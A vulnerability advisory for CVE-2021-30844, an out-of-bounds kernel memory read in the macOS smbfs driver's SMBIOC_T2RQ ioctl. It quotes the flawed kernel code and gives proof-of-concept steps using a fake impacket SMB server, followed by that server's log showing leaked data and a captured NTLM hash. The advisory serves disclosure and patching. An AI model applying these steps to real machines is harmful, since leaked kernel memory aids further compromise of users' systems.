CVE: CVE-2021-30844
Tested Versions:
- macOS BigSur 11.0 - 11.2.3
Product URL(s):
Description of the vulnerability
smbfs is a kext driver which handles SMB connection between the user and SMB Server. This vulnerability occurs in smbfs, which allows an attacker to leak kernel memory to achieve further exploitation.
The bug occurs on the SMBIOC_T2RQ
ioctl handler. This handler first process user-mode input on function smb_usr_t2request
int
smb_usr_t2request(struct smb_share *share, struct smbioc_t2rq *dp, vfs_context_t context)
{
//...
/* ioc_name_len includes the null byte, ioc_kern_name is a c-style string */
if (dp->ioc_kern_name && dp->ioc_name_len) {
t2p->t_name = smb_memdupin(dp->ioc_kern_name, dp->ioc_name_len);
if (t2p->t_name == NULL) {
error = ENOMEM;
goto bad;
}
}
//...
}
smb_usr_t2request
copy data from user-mode address (dp->ioc_kern_name) with size is dp->ioc_name_len
which is controlled by attacker also. Later, this function will build a TCP package from this data and then send it to SMB Server. The field t2p->t_name
is also included in the TCP package of this function.
int smb_t2_request(struct smb_t2rq *t2p)
{
// ...
if (t2p->t_name)
smb_put_dstring(mbp, SMB_UNICODE_STRINGS(sessionp), t2p->t_name, PATH_MAX, NO_SFM_CONVERSIONS);
else
mb_put_uint8(mbp, 0); /* No name so set it to null */
// ...
}
Take a look at smb_put_dstring
in the following code snippet.
int smb_put_dstring(struct mbchain *mbp, int usingUnicode, const char *src,
size_t maxlen, int flags)
{
int error;
error = smb_put_dmem(mbp, src, strnlen(src, maxlen), flags, usingUnicode, NULL);
if (error)
return error;
if (usingUnicode)
return mb_put_uint16le(mbp, 0);
return mb_put_uint8(mbp, 0);
}
smb_put_dstring
will copy t2p->t_name
into TCP package with strlen of t2p->t_name
. The problem is when copy t2p->t_name
from user-space, this code is not included NULL byte at the end, which leads to Out-of-Bounds Read if the 2p->t_name
was malloc with the size of multiply by 16.
Attacker can craft an dp->ioc_kern_name
with a buffer with size 0x40 bytes and set dp->ioc_name_len
with 0x40 also, then request an ioctl to SMBIOC_T2RQ
. SMBIOC_T2RQ
will malloc and copy dp->ioc_kern_name
to t2p->t_name
with size 0x40 without checking NULL byte in the end. Later, SMBIOC_T2RQ
copy t2p->t_name
with strlen(t2p->t_name)
into tcp package, if heap chunk of t2p->t_name
was located next to some object, attacker can read data from this object.
Proof Of Concept
- Compile
smbfs_ooread_t2.c
with the following command:clang -framework CoreFoundation -framework NetFS smbfs_ooread_t2.c -o smbfs_ooread_t2 -g
- To run with newest macOS: run
clang -framework CoreFoundation -framework NetFS smbfs_ooread_t2.c -o smbfs_ooread_t2 -g -D macOS11_3
- Cloning fake smb server from https://github.com/SecureAuthCorp/impacket
- Run the following script to start fake smb server:
sudo python3 examples/smbserver.py -username peter -password share123 -debug -comment 'share' share ./
- Execute command :
./smbfs_ooread_t2 <smb server>
, the PoC will craft at2_name
with aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
string. If smbfs was not loaded, it will popup a window just click cancel to continue the exploit. - Check message receive from smb server, there are a high probability we will see some wired string on smb fake server.
impacket git:(master) sudo python3 examples/smbserver.py -username peter -password share123 -debug -comment 'share' share ./
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.122.3,49525)
[*] AUTHENTICATE_MESSAGE (EpwjTJzv\peter,IMACPRO)
[*] User IMACPRO\peter authenticated successfully
[*] peter::EpwjTJzv:aaaaaaaaaaaaaaaa:bd977ac819d64fd9d31bca4836bc57cd:010100000000000000c17f5bc01fd7014d6fc07f127c7074000000000100100063004e00740064006c0069004f006200020010004500700077006a0054004a007a0076000300100063004e00740064006c0069004f006200040010004500700077006a0054004a007a007600060004000200000007000800802ae75ac01fd7010900260063006900660073002f003100390032002e003100360038002e003100320032002e00320032000a001000000000000000000000000000000000000000000000000000
[-] Unsupported Transact command 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcom.apple.ResourceFork'
[*] Disconnecting Share(1:SHARE)
[*] Closing down connection (192.168.122.3,49525)
[*] Remaining connections []
As we see we expect server receive AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
but server receive AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcom.apple.ResourceFork
.
Suggested Mitigations
- Update to macOS latest if it is available.
Timeline
- 2021-06-18 Vendor disclosure
- 2021-09-13 Vendor patched